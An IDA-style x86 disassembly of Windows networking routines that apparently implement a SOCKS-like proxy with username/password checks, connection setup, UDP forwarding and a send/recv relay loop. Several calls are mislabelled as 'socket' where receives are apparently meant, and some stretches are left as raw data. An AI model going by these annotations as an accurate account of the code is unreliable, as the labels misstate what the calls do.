var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44730068h, 8BE85600h
		dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_4472FC
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_4472F4
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		call	near ptr 71AB2D0Fh
		nop
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FACo
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:0044300Co
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103A4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103A4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103A4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF28
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D5C
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D5C
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

